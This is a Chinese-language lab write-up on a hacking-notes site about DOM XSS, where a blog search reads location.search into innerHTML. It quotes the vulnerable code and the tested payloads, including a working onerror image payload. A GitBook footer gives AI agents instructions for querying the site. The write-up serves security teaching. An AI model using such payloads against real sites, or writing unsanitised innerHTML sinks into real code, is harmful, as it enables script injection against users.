> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/dom-xss-with-innerhtml-and-location-search.md).

# 带有 innerHTML 和 location.search 的 DOM XSS

### 使用来源 location.search 的 InnerHTML sink 中的 DOM XSS

博客搜索功能中的 DOM XSS 漏洞。代码恢复了 `location.search` 并直接通过以下方式插入到 DOM 中 `innerHTML`，从而允许在值来自 URL 时注入并运行 JavaScript。

<figure><img src="/files/5344b0f88c0a05acddc60da43986ed6c34429734" alt=""><figcaption></figcaption></figure>

**从观察到的代码中摘录**

```javascript
function doSearchQuery(query) {
    document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
    doSearchQuery(query);
}
```

**测试的载荷**

* 简单载荷（未被解析）：/ `<script>alert("XSS")</script>`
* 测试插入一个图像元素：/ `<img src="test"</img>`/（由于没有事件属性存在，这不会触发脚本执行）

<figure><img src="/files/dd3b367ab9f668edf453a80eb1dea7d8441e0c84" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fbe93dbf7723435d053c990dcb5dc077927dc9a9" alt=""><figcaption></figcaption></figure>

强制加载错误以触发一个 `onerror` 处理程序：/ `<img src=0 onerror=alert("XSS")>` /（此载荷使用 `onerror` 事件属性来运行 `alert` 当图像加载失败时）

```javascript
<img src=0 onerror=alert("xss")>
```

<figure><img src="/files/21b2fdfd588498475ebbffa348b76658f3d07b6e" alt=""><figcaption></figcaption></figure>

该脚本直接影响 `innerHTML` 使用 `search` URL 的值；因此，包含事件处理程序的 HTML 片段（例如 `onerror`）或可执行标签可能导致代码执行。该 `<img src=0 onerror=alert("XSS")>` 载荷导致加载错误并运行 `alert("XSS")`，展示了 DOM XSS 漏洞。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/dom-xss-with-innerhtml-and-location-search.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.